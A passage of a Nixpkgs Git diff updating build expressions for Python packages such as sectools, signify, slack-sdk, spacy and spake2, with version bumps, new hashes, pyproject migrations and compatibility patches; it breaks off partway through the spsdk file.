index 2fdc27283f08c..f65c80aabdc13 100644 --- a/pkgs/development/python-modules/sectools/default.nix +++ b/pkgs/development/python-modules/sectools/default.nix @@ -3,22 +3,27 @@ , fetchFromGitHub , ldap3 , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "sectools"; - version = "1.3.9"; - format = "setuptools"; + version = "1.4.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "p0dalirius"; - repo = pname; + repo = "sectools"; rev = "refs/tags/${version}"; - hash = "sha256-F9mmPSlfSSS7UDNuX9OPrqDsEpqq0bD3eROG8D9CC78="; + hash = "sha256-k3k1/DFmv0resnsNht/C+2Xh6qbSQmk83eN/3vtDU00="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ ldap3 ]; diff --git a/pkgs/development/python-modules/securetar/default.nix b/pkgs/development/python-modules/securetar/default.nix index 4104fa2dc499a..b4c8c90989eca 100644 --- a/pkgs/development/python-modules/securetar/default.nix +++ b/pkgs/development/python-modules/securetar/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "securetar"; - version = "2024.2.0"; + version = "2024.2.1"; pyproject = true; disabled = pythonOlder "3.9"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "pvizeli"; repo = "securetar"; rev = "refs/tags/${version}"; - hash = "sha256-rYRbrpXo2oVW8SpddNsKb0FBdscovNUaGXLHy7WBiVU="; + hash = "sha256-D50ceRlK+v5Uo3qBBpVtKwI8zKU/qh1Njn3qeKM4LiY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/sentry-sdk/default.nix b/pkgs/development/python-modules/sentry-sdk/default.nix index cee2e2fc599e5..74b3309602d93 100644 --- a/pkgs/development/python-modules/sentry-sdk/default.nix +++ b/pkgs/development/python-modules/sentry-sdk/default.nix @@ -38,7 +38,7 @@ buildPythonPackage rec { pname = "sentry-sdk"; - version = "1.40.3"; + version = "1.40.6"; pyproject = true; disabled = pythonOlder "3.7"; @@ -47,7 +47,7 @@ buildPythonPackage rec { owner = "getsentry"; repo = "sentry-python"; rev = "refs/tags/${version}"; - hash = "sha256-durgUKpJ5H+xd4FBpNWVtfmMlreTbvQvUaTVPoJw5wQ="; + hash = "sha256-cGAPSF+kjGsY9IeRxRZUiAEiDR2uNBheet5Z+fok/eY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/shazamio/default.nix b/pkgs/development/python-modules/shazamio/default.nix index 05c9784b367f1..7190c1e2c0ae7 100644 --- a/pkgs/development/python-modules/shazamio/default.nix +++ b/pkgs/development/python-modules/shazamio/default.nix @@ -72,6 +72,7 @@ buildPythonPackage rec { changelog = "https://github.com/dotX12/ShazamIO/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + # https://github.com/shazamio/ShazamIO/issues/80 broken = versionAtLeast pydantic.version "2"; }; } diff --git a/pkgs/development/python-modules/shtab/default.nix b/pkgs/development/python-modules/shtab/default.nix index ebfbd86aeb03a..37b3e1ca4c242 100644 --- a/pkgs/development/python-modules/shtab/default.nix +++ b/pkgs/development/python-modules/shtab/default.nix @@ -11,21 +11,21 @@ buildPythonPackage rec { pname = "shtab"; - version = "1.6.5"; - format = "pyproject"; + version = "1.7.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "iterative"; - repo = pname; + repo = "shtab"; rev = "refs/tags/v${version}"; - hash = "sha256-jplcKVXWogSrYRGch0qypWGNzO9HErR5B9S1iT4eFcM="; + hash = "sha256-b2XXDyO/2AnlxViC6sEEYUGviF6+FGXBnBcdQOuTViY="; }; postPatch = '' substituteInPlace pyproject.toml \ - --replace " --cov=shtab --cov-report=term-missing --cov-report=xml" "" + --replace-fail " --cov=shtab --cov-report=term-missing --cov-report=xml" "" ''; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/signify/default.nix b/pkgs/development/python-modules/signify/default.nix index 85e4d4668e5b9..a1924902fe8ef 100644 --- a/pkgs/development/python-modules/signify/default.nix +++ b/pkgs/development/python-modules/signify/default.nix @@ -3,28 +3,42 @@ , buildPythonPackage , certvalidator , fetchFromGitHub +, fetchpatch2 , mscerts , oscrypto , pyasn1 , pyasn1-modules , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "signify"; version = "0.5.2"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.6"; src = fetchFromGitHub { owner = "ralphje"; - repo = pname; + repo = "signify"; rev = "refs/tags/v${version}"; hash = "sha256-+UhZF+QYuv8pq/sTu7GDPUrlPNNixFgVZL+L0ulj/ko="; }; + patches = [ + # https://github.com/ralphje/signify/pull/42 + (fetchpatch2 { + url = "https://github.com/ralphje/signify/commit/38cad57bf86f7498259b47bfef1354aec27c0955.patch"; + hash = "sha256-dLmHSlj2Cj6jbbrZStgK2Rh/H5vOaIbi5lut5RAbd+s="; + }) + ]; + + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ asn1crypto certvalidator @@ -42,19 +56,11 @@ buildPythonPackage rec { pytestCheckHook ]; - disabledTests = [ - # chain doesn't validate because end-entitys certificate expired - # https://github.com/ralphje/signify/issues/27 - "test_revoked_certificate" - ]; - meta = with lib; { + changelog = "https://github.com/ralphje/signify/blob/${src.rev}/docs/changelog.rst"; description = "library that verifies PE Authenticode-signed binaries"; homepage = "https://github.com/ralphje/signify"; license = licenses.mit; maintainers = with maintainers; [ baloo ]; - # No support for pyasn1 > 0.5 - # https://github.com/ralphje/signify/issues/37 - broken = true; }; } diff --git a/pkgs/development/python-modules/simpful/default.nix b/pkgs/development/python-modules/simpful/default.nix index 2060210a3bd84..37f2ae860c0ec 100644 --- a/pkgs/development/python-modules/simpful/default.nix +++ b/pkgs/development/python-modules/simpful/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "simpful"; - version = "2.11.1"; + version = "2.12.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "aresio"; repo = "simpful"; rev = "refs/tags/${version}"; - hash = "sha256-54WkKnPB3xA2CaOpmasqxgDoga3uAqoC1nOivytXmGY="; + hash = "sha256-NtTw7sF1WfVebUk1wHrM8FHAe3/FXDcMApPkDbw0WXo="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/sip/4.x.nix b/pkgs/development/python-modules/sip/4.x.nix index 0e1db82e8af0f..879dc6cd125a7 100644 --- a/pkgs/development/python-modules/sip/4.x.nix +++ b/pkgs/development/python-modules/sip/4.x.nix @@ -5,7 +5,8 @@ buildPythonPackage rec { version = "4.19.25"; format = "other"; - disabled = isPyPy; + # relies on distutils + disabled = isPyPy || pythonAtLeast "3.12"; src = fetchurl { url = "https://www.riverbankcomputing.com/static/Downloads/sip/${version}/sip-${version}.tar.gz"; diff --git a/pkgs/development/python-modules/sip/default.nix b/pkgs/development/python-modules/sip/default.nix index 32c28211cd065..30dd904f13962 100644 --- a/pkgs/development/python-modules/sip/default.nix +++ b/pkgs/development/python-modules/sip/default.nix @@ -1,10 +1,8 @@ { lib -, stdenv , buildPythonPackage , fetchPypi , pythonOlder , setuptools -, wheel , packaging , ply , toml @@ -18,21 +16,22 @@ buildPythonPackage rec { pname = "sip"; - version = "6.8.1"; - - format = "pyproject"; + version = "6.8.3"; + pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-MALfQV4WisP/45OULbxxMcuCreUAAOFSb0aoit4m9Zg="; + hash = "sha256-iIVHsBi7JMNq3tUZ6T0+UT1MaqC6VbfMGv+9Rc8Qdiw="; }; nativeBuildInputs = [ setuptools - wheel ]; - propagatedBuildInputs = [ packaging ply toml ] ++ lib.optionals (pythonOlder "3.11") [ + propagatedBuildInputs = [ + packaging + setuptools + ] ++ lib.optionals (pythonOlder "3.11") [ tomli ]; diff --git a/pkgs/development/python-modules/skrl/default.nix b/pkgs/development/python-modules/skrl/default.nix index 417c1c1fe3515..143a86dff84e1 100644 --- a/pkgs/development/python-modules/skrl/default.nix +++ b/pkgs/development/python-modules/skrl/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "skrl"; - version = "1.0.0"; + version = "1.1.0"; pyproject = true; disabled = pythonOlder "3.6"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "Toni-SM"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-89OoJanmaB74SLF1qMI8WFBdN1czS7Yr7BmojaRdo4M="; + hash = "sha256-JsE8QQNOqvFQylrPuHEjejOTeQL652rM0EteAfLyeVI="; }; nativeBuildInputs = [ setuptools ]; diff --git a/pkgs/development/python-modules/slack-sdk/default.nix b/pkgs/development/python-modules/slack-sdk/default.nix index 207390b050e6e..2782b5eea5db7 100644 --- a/pkgs/development/python-modules/slack-sdk/default.nix +++ b/pkgs/development/python-modules/slack-sdk/default.nix @@ -13,6 +13,7 @@ , psutil , pytest-asyncio , pytestCheckHook +, setuptools , sqlalchemy , websocket-client , websockets @@ -20,8 +21,8 @@ buildPythonPackage rec { pname = "slack-sdk"; - version = "3.26.2"; - format = "setuptools"; + version = "3.27.1"; + pyproject = true; disabled = pythonOlder "3.6"; @@ -29,9 +30,18 @@ buildPythonPackage rec { owner = "slackapi"; repo = "python-slack-sdk"; rev = "refs/tags/v${version}"; - hash = "sha256-pvD86kbNOnuNT6+WTAKziJDUTx3ebJUq029UbSVuxdw="; + hash = "sha256-fBHu4e6pSt8yzXbLWr5cwjRFDfvdH2jzpSNzdMBg4N0="; }; + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail ', "pytest-runner"' "" + ''; + + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiodns aiohttp diff --git a/pkgs/development/python-modules/slackclient/default.nix b/pkgs/development/python-modules/slackclient/default.nix index 75090e8d243a0..9769f22727a36 100644 --- a/pkgs/development/python-modules/slackclient/default.nix +++ b/pkgs/development/python-modules/slackclient/default.nix @@ -21,7 +21,7 @@ buildPythonPackage rec { pname = "slackclient"; - version = "3.26.2"; + version = "3.27.1"; format = "setuptools"; disabled = pythonOlder "3.6"; @@ -30,7 +30,7 @@ buildPythonPackage rec { owner = "slackapi"; repo = "python-slack-sdk"; rev = "refs/tags/v${version}"; - hash = "sha256-pvD86kbNOnuNT6+WTAKziJDUTx3ebJUq029UbSVuxdw="; + hash = "sha256-fBHu4e6pSt8yzXbLWr5cwjRFDfvdH2jzpSNzdMBg4N0="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/slither-analyzer/default.nix b/pkgs/development/python-modules/slither-analyzer/default.nix index f613645b390af..42d65ebdbe004 100644 --- a/pkgs/development/python-modules/slither-analyzer/default.nix +++ b/pkgs/development/python-modules/slither-analyzer/default.nix @@ -15,8 +15,8 @@ buildPythonPackage rec { pname = "slither-analyzer"; - version = "0.10.0"; - format = "setuptools"; + version = "0.10.1"; + pyproject = true; disabled = pythonOlder "3.8"; @@ -24,18 +24,18 @@ buildPythonPackage rec { owner = "crytic"; repo = "slither"; rev = "refs/tags/${version}"; - hash = "sha256-lyjHubnYIwGiA6uAt9erKlTr2sCRGHQy/ZkNByFrFgM="; + hash = "sha256-MjO2ZYFat+byH0DEt2v/wPXaYL2lmlESgQCZXD4Jpt0="; }; nativeBuildInputs = [ makeWrapper + setuptools ]; propagatedBuildInputs = [ crytic-compile packaging prettytable - setuptools web3 ]; diff --git a/pkgs/development/python-modules/slixmpp/default.nix b/pkgs/development/python-modules/slixmpp/default.nix index 17620e452b2f1..82fba525c0372 100644 --- a/pkgs/development/python-modules/slixmpp/default.nix +++ b/pkgs/development/python-modules/slixmpp/default.nix @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "slixmpp"; - version = "1.8.4"; + version = "1.8.5"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-QG8fS6t+dXPdVZpEECfT3jPRe7o1S88g3caq+6JyKGs="; + hash = "sha256-dePwrUhVX39ckijnBmwdQ1izPWQLT753PsNLA7f66aM="; }; propagatedBuildInputs = [ @@ -54,7 +54,7 @@ buildPythonPackage rec { meta = with lib; { description = "Python library for XMPP"; homepage = "https://slixmpp.readthedocs.io/"; - changelog = "https://lab.louiz.org/poezio/slixmpp/-/tags/slix-${version}"; + changelog = "https://codeberg.org/poezio/slixmpp/releases/tag/slix-${version}"; license = licenses.mit; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/smartypants/default.nix b/pkgs/development/python-modules/smartypants/default.nix index 0e5ef76927e44..5094287fcfafc 100644 --- a/pkgs/development/python-modules/smartypants/default.nix +++ b/pkgs/development/python-modules/smartypants/default.nix @@ -1,16 +1,19 @@ { lib , buildPythonPackage +, python , fetchFromGitHub +, fetchpatch2 , isPyPy +, setuptools , docutils , pygments , pytestCheckHook }: -buildPythonPackage rec { +buildPythonPackage (rec { version = "2.0.1"; - format = "setuptools"; pname = "smartypants"; + disabled = isPyPy; src = fetchFromGitHub { @@ -37,3 +40,23 @@ buildPythonPackage rec { maintainers = with maintainers; [ dotlambda ]; }; } + # FIXME: just avoiding large rebuild, we'll revert this commit + // (if lib.versionOlder python.version "3.12" then { + format = "setuptools"; + } else { + pyproject = true; + + patches = [ + (fetchpatch2 { + # https://github.com/leohemsted/smartypants.py/pull/21 + name = "smartypants-3.12-compat.patch"; + url = "https://github.com/leohemsted/smartypants.py/commit/ea46bf36343044a7a61ba3acce4a7f188d986ec5.patch"; + hash = "sha256-9lsiiZKFFKHLy7j3y9ff4gt01szY+2AHpWPAKQgKwZg="; + }) + ]; + + nativeBuildInputs = [ + setuptools + ]; + }) +) diff --git a/pkgs/development/python-modules/smtpdfix/default.nix b/pkgs/development/python-modules/smtpdfix/default.nix index f9d7d2931e5a8..5d34cd6693bff 100644 --- a/pkgs/development/python-modules/smtpdfix/default.nix +++ b/pkgs/development/python-modules/smtpdfix/default.nix @@ -1,6 +1,7 @@ { lib , buildPythonPackage , fetchPypi +, pythonAtLeast , setuptools , pytest , portpicker @@ -36,6 +37,11 @@ buildPythonPackage rec { pytest-asyncio ]; + disabledTests = lib.optionals (pythonAtLeast "3.12") [ + # https://github.com/bebleo/smtpdfix/issues/335 + "test_missing_certs" + ]; + meta = with lib; { description = "An SMTP server for use as a pytest fixture for testing"; homepage = "https://github.com/bebleo/smtpdfix"; diff --git a/pkgs/development/python-modules/snakemake-executor-plugin-cluster-generic/default.nix b/pkgs/development/python-modules/snakemake-executor-plugin-cluster-generic/default.nix index 17b0aeed0baec..0a1f92a9d4f80 100644 --- a/pkgs/development/python-modules/snakemake-executor-plugin-cluster-generic/default.nix +++ b/pkgs/development/python-modules/snakemake-executor-plugin-cluster-generic/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "snakemake-executor-plugin-cluster-generic"; - version = "1.0.7"; + version = "1.0.8"; format = "pyproject"; src = fetchFromGitHub { owner = "snakemake"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-1W/8jf+R1798cu3sWI0LTSyVawtmFfwlAqRHwfmIAzU="; + hash = "sha256-+aGd+E+VQb7MflsiUgFR98AyeetZxbc4gdvU1JWJNcM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/snakemake-interface-common/default.nix b/pkgs/development/python-modules/snakemake-interface-common/default.nix index 7b3cfd7912192..6ac47e4afedeb 100644 --- a/pkgs/development/python-modules/snakemake-interface-common/default.nix +++ b/pkgs/development/python-modules/snakemake-interface-common/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "snakemake-interface-common"; - version = "1.15.3"; + version = "1.17.1"; format = "pyproject"; src = fetchFromGitHub { owner = "snakemake"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-MiwdNr8+xX5oD1ilhDDhJcf4wWnfkayDMcnDyjYSWlo="; + hash = "sha256-23PGKSBX7KMt0Q7sWiLIPfCkxr2HtBas7flYeNHABWM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/snakemake-interface-storage-plugins/default.nix b/pkgs/development/python-modules/snakemake-interface-storage-plugins/default.nix index 3d37ec8471ec5..b39139f848ca5 100644 --- a/pkgs/development/python-modules/snakemake-interface-storage-plugins/default.nix +++ b/pkgs/development/python-modules/snakemake-interface-storage-plugins/default.nix @@ -11,14 +11,14 @@ buildPythonPackage rec { pname = "snakemake-interface-storage-plugins"; - version = "3.0.0"; + version = "3.1.1"; format = "pyproject"; src = fetchFromGitHub { owner = "snakemake"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-MinqSMpBlp3pCgQxorkMdrJuO0GExJsO02kg2/mGsFw="; + hash = "sha256-5EWpfKpEATlEsw2VZGrGqS+WddVdtEKSgelBGud8kmI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/snapcast/default.nix b/pkgs/development/python-modules/snapcast/default.nix index 9917e4d3f759d..0fa0e03b030b8 100644 --- a/pkgs/development/python-modules/snapcast/default.nix +++ b/pkgs/development/python-modules/snapcast/default.nix @@ -5,12 +5,13 @@ , fetchFromGitHub , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "snapcast"; - version = "2.3.3"; - format = "setuptools"; + version = "2.3.5"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -18,9 +19,13 @@ buildPythonPackage rec { owner = "happyleavesaoc"; repo = "python-snapcast"; rev = "refs/tags/${version}"; - hash = "sha256-IFgSO0PjlFb4XJarx50Xnx6dF4tBKk3sLcoLWVdpnk8="; + hash = "sha256-5TbwenEe3vMJovwKYfkvkXMRex0KgaXpsd4iCEk7uWE="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ construct packaging diff --git a/pkgs/development/python-modules/snorkel/default.nix b/pkgs/development/python-modules/snorkel/default.nix index 6e918c2f9145c..8da4fd87d736c 100644 --- a/pkgs/development/python-modules/snorkel/default.nix +++ b/pkgs/development/python-modules/snorkel/default.nix @@ -20,7 +20,7 @@ }: let pname = "snorkel"; - version = "0.9.9"; + version = "0.10.0"; in buildPythonPackage { inherit pname version; @@ -31,8 +31,8 @@ buildPythonPackage { src = fetchFromGitHub { owner = "snorkel-team"; repo = pname; - rev = "v${version}"; - hash = "sha256-IDWYvblS0Q8ubuHzgIc7fU/gwpJ43Dd7VMWycMfAJxc="; + rev = "refs/tags/v${version}"; + hash = "sha256-1DgkMHYToiI3266yCND1bXiui80x8AaBttxM83kJImw="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/snowflake-connector-python/default.nix b/pkgs/development/python-modules/snowflake-connector-python/default.nix index d9b673ca49cd4..085c21bfb59ba 100644 --- a/pkgs/development/python-modules/snowflake-connector-python/default.nix +++ b/pkgs/development/python-modules/snowflake-connector-python/default.nix @@ -27,14 +27,14 @@ buildPythonPackage rec { pname = "snowflake-connector-python"; - version = "3.7.0"; + version = "3.7.1"; format = "pyproject"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-sr+uxkBZMHsIyq2tQCFNSI/vtKI/zXVTrHX16nWKkWk="; + hash = "sha256-3GmC9lOGDt7xYUowR6FrywfiJ3Xm4JCAi79PdinEGR0="; }; # snowflake-connector-python requires arrow 10.0.1, which we don't have in diff --git a/pkgs/development/python-modules/social-auth-core/default.nix b/pkgs/development/python-modules/social-auth-core/default.nix index 05c1e8988b386..ecdd7782e4573 100644 --- a/pkgs/development/python-modules/social-auth-core/default.nix +++ b/pkgs/development/python-modules/social-auth-core/default.nix @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "social-auth-core"; - version = "4.5.2"; + version = "4.5.3"; pyproject = true; disabled = pythonOlder "3.7"; @@ -28,7 +28,7 @@ buildPythonPackage rec { owner = "python-social-auth"; repo = "social-core"; rev = "refs/tags/${version}"; - hash = "sha256-4oUSGTDNJc+qZRYiexRUaz8IOaZRXlwqswfPiEzTuR4="; + hash = "sha256-bnPn9roMjOfF2pa1GfCZTnDK0Sfu+umGS0H0PhppKBc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/solax/default.nix b/pkgs/development/python-modules/solax/default.nix index b66bac955ab19..ca835923901c9 100644 --- a/pkgs/development/python-modules/solax/default.nix +++ b/pkgs/development/python-modules/solax/default.nix @@ -1,9 +1,9 @@ { lib , aiohttp +, async-timeout , buildPythonPackage , fetchPypi , pytest-asyncio -, pytest-cov , pytest-httpserver , pytestCheckHook , pythonOlder @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "solax"; - version = "0.3.2"; - format = "setuptools"; + version = "0.3.3"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-7UDTG8rw9XJd5LPqcAe2XyE7DQa96dBj9YOcgW+/aFc="; + hash = "sha256-+e0z65qMjj1vQ3BR6kmLs+S5CF5chSaQ3mHQPIo++bQ="; }; nativeBuildInputs = [ @@ -29,12 +29,12 @@ buildPythonPackage rec { propagatedBuildInputs = [ aiohttp + async-timeout voluptuous ]; nativeCheckInputs = [ pytest-asyncio - pytest-cov pytest-httpserver pytestCheckHook ]; @@ -43,9 +43,16 @@ buildPythonPackage rec { "solax" ]; + disabledTests = [ + # Tests require network access + "test_discovery" + "test_smoke" + ]; + meta = with lib; { description = "Python wrapper for the Solax Inverter API"; homepage = "https://github.com/squishykid/solax"; + changelog = "https://github.com/squishykid/solax/releases/tag/v${version}"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/somajo/default.nix b/pkgs/development/python-modules/somajo/default.nix index d7453d0955cf7..02c716e0142ad 100644 --- a/pkgs/development/python-modules/somajo/default.nix +++ b/pkgs/development/python-modules/somajo/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "somajo"; - version = "2.4.1"; + version = "2.4.2"; pyproject = true; disabled = pythonOlder "3.7"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "tsproisl"; repo = "SoMaJo"; rev = "refs/tags/v${version}"; - hash = "sha256-44avfokFgOQ62dswGpsNX+mywrtZLMTkMV4s+y0UusE="; + hash = "sha256-5rlgDnPYTtuVMincG5CgVwNh/IGmZk6ItvzdB/wHmgg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/spacy/default.nix b/pkgs/development/python-modules/spacy/default.nix index 406d687bba964..3fb467475fb7a 100644 --- a/pkgs/development/python-modules/spacy/default.nix +++ b/pkgs/development/python-modules/spacy/default.nix @@ -6,16 +6,18 @@ , catalogue , cymem , fetchPypi +, hypothesis , jinja2 , jsonschema , langcodes +, mock , murmurhash , numpy , packaging , pathy , preshed , pydantic -, pytest +, pytestCheckHook , python , pythonOlder , pythonRelaxDepsHook @@ -38,14 +40,14 @@ buildPythonPackage rec { pname = "spacy"; - version = "3.7.3"; + version = "3.7.4"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-mSZQKPvcbhIknFMwXkYfeaEDY3sOaGbCivDkY2X3UeE="; + hash = "sha256-Ul8s7S5AdhViyMrOk+9qHm6MSD8nvVZLwbFfYI776Fs="; }; pythonRelaxDeps = [ @@ -83,35 +85,44 @@ buildPythonPackage rec { typing-extensions ]; - postPatch = '' - substituteInPlace setup.cfg \ - --replace "thinc>=8.1.8,<8.2.0" "thinc>=8.1.8" - ''; - nativeCheckInputs = [ - pytest + pytestCheckHook + hypothesis + mock ]; - doCheck = false; + doCheck = true; - checkPhase = '' - ${python.interpreter} -m pytest spacy/tests --vectors --models --slow + # Fixes ModuleNotFoundError when running tests on Cythonized code. See #255262 + preCheck = '' + cd $out ''; + pytestFlagsArray = [ + "-m 'slow'" + ]; + + disabledTests = [ + # touches network + "test_download_compatibility" + "test_validate_compatibility_table" + "test_project_assets" + ]; + pythonImportsCheck = [ "spacy" ]; passthru = { updateScript = writeScript "update-spacy" '' - #!${stdenv.shell} - set -eou pipefail - PATH=${lib.makeBinPath [ nix git nix-update ]} + #!${stdenv.shell} + set -eou pipefail + PATH=${lib.makeBinPath [ nix git nix-update ]} - nix-update python3Packages.spacy + nix-update python3Packages.spacy - # update spacy models as well - echo | nix-shell maintainers/scripts/update.nix --argstr package python3Packages.spacy_models.en_core_web_sm + # update spacy models as well + echo | nix-shell maintainers/scripts/update.nix --argstr package python3Packages.spacy_models.en_core_web_sm ''; tests.annotation = callPackage ./annotation-test { }; }; diff --git a/pkgs/development/python-modules/spake2/default.nix b/pkgs/development/python-modules/spake2/default.nix index 87d05612e7125..2ccd62fcdf15c 100644 --- a/pkgs/development/python-modules/spake2/default.nix +++ b/pkgs/development/python-modules/spake2/default.nix @@ -1,26 +1,50 @@ -{ lib, buildPythonPackage, fetchPypi, hkdf, pytest }: +{ lib +, buildPythonPackage +, fetchPypi +, fetchpatch2 +, setuptools +, hkdf +, pytestCheckHook +}: buildPythonPackage rec { pname = "spake2"; version = "0.8"; - format = "setuptools"; + pyproject = true; src = fetchPypi { inherit pname version; sha256 = "c17a614b29ee4126206e22181f70a406c618d3c6c62ca6d6779bce95e9c926f4"; }; - nativeCheckInputs = [ pytest ]; + patches = [ + # https://github.com/warner/python-spake2/pull/16 + (fetchpatch2 { + name = "python312-compat.patch"; + url = "https://github.com/warner/python-spake2/commit/1b04d33106b105207c97c64b2589c45790720b0b.patch"; + hash = "sha256-OoBz0lN17VyVGg6UfT+Zj9M1faFTNpPIhxrwCgUwMc8="; + }) + ]; - propagatedBuildInputs = [ hkdf ]; + nativeBuildInputs = [ + setuptools + ]; - checkPhase = '' - py.test $out - ''; + propagatedBuildInputs = [ + hkdf + ]; + + pythonImportsCheck = [ "spake2" ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; meta = with lib; { + changelog = "https://github.com/warner/python-spake2/blob/v${version}/NEWS"; description = "SPAKE2 password-authenticated key exchange library"; homepage = "https://github.com/warner/python-spake2"; license = licenses.mit; + maintainers = with maintainers; [ dotlambda ]; }; } diff --git a/pkgs/development/python-modules/speechbrain/default.nix b/pkgs/development/python-modules/speechbrain/default.nix index ddb1ab53c9c33..2a91b2b0b100d 100644 --- a/pkgs/development/python-modules/speechbrain/default.nix +++ b/pkgs/development/python-modules/speechbrain/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "speechbrain"; - version = "0.5.16"; + version = "1.0.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "speechbrain"; repo = "speechbrain"; rev = "refs/tags/v${version}"; - hash = "sha256-Mve6wr3klXMe7sCiJjPuzUPKGHRyI/LzTe6Ea39zNHw="; + hash = "sha256-s23RHxqr+ZCWPYNchFpyYa01mY+Bum3thgNbJP8rAmA="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/sphinx/default.nix b/pkgs/development/python-modules/sphinx/default.nix index 90dfcb1e6ef64..ddf9237918af4 100644 --- a/pkgs/development/python-modules/sphinx/default.nix +++ b/pkgs/development/python-modules/sphinx/default.nix @@ -1,5 +1,4 @@ { lib -, stdenv , buildPythonPackage , pythonOlder , fetchFromGitHub @@ -19,7 +18,6 @@ , pygments , requests , snowballstemmer -, sphinxcontrib-apidoc , sphinxcontrib-applehelp , sphinxcontrib-devhelp , sphinxcontrib-htmlhelp @@ -77,9 +75,6 @@ buildPythonPackage rec { sphinxcontrib-serializinghtml # extra[docs] sphinxcontrib-websupport - - # extra plugins which are otherwise not found by sphinx-build - sphinxcontrib-apidoc ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ]; diff --git a/pkgs/development/python-modules/sphinxcontrib-apidoc/default.nix b/pkgs/development/python-modules/sphinxcontrib-apidoc/default.nix index 327ff267eebc8..9abab99c05985 100644 --- a/pkgs/development/python-modules/sphinxcontrib-apidoc/default.nix +++ b/pkgs/development/python-modules/sphinxcontrib-apidoc/default.nix @@ -7,12 +7,12 @@ buildPythonPackage rec { pname = "sphinxcontrib-apidoc"; - version = "0.4.0"; + version = "0.5.0"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-/lnRWIJHKqk8Jzevvepr7bNM41y9NKpJR5CfXfFQCq0="; + hash = "sha256-Ze/NkiEqX4I3FfuV7gmLRYprsJpe5hfZ7T3q2XF3zVU="; }; postPatch = '' diff --git a/pkgs/development/python-modules/sphinxcontrib-plantuml/default.nix b/pkgs/development/python-modules/sphinxcontrib-plantuml/default.nix index d6c588c8d0222..f99d32ec7e21a 100644 --- a/pkgs/development/python-modules/sphinxcontrib-plantuml/default.nix +++ b/pkgs/development/python-modules/sphinxcontrib-plantuml/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "sphinxcontrib-plantuml"; - version = "0.27"; + version = "0.28"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-iXV3ju2cFCpC7NxOzYMTLewGkMA1yueIwSN1Dq1SZwM="; + hash = "sha256-zpNirT1LvMTDDf38MIqsrSwHs0RjUxZoGnESabjgC+o="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/spsdk/default.nix b/pkgs/development/python-modules/spsdk/default.nix index d0803c6dc7291..0764e6c6ccd01 100644 --- a/pkgs/development/python-modules/spsdk/default.nix +++ b/pkgs/development/python-modules/spsdk/default.nix @@ -9,21 +9,19 @@ , click , click-command-tree , click-option-group -, cmsis-pack-manager -, commentjson +, colorama , crcmod , cryptography , deepmerge , fastjsonschema , hexdump -, importlib-metadata -, jinja2 , libusbsio , oscrypto -, pycryptodome -, pyftdi +, platformdirs +, prettytable , pylink-square , pyocd +, pyocd-pemicro , pypemicro , pyserial , requests @@ -33,20 +31,22 @@ , spsdk , testers , typing-extensions +, ipykernel +, pytest-notebook , pytestCheckHook , voluptuous }: buildPythonPackage rec { pname = "spsdk"; - 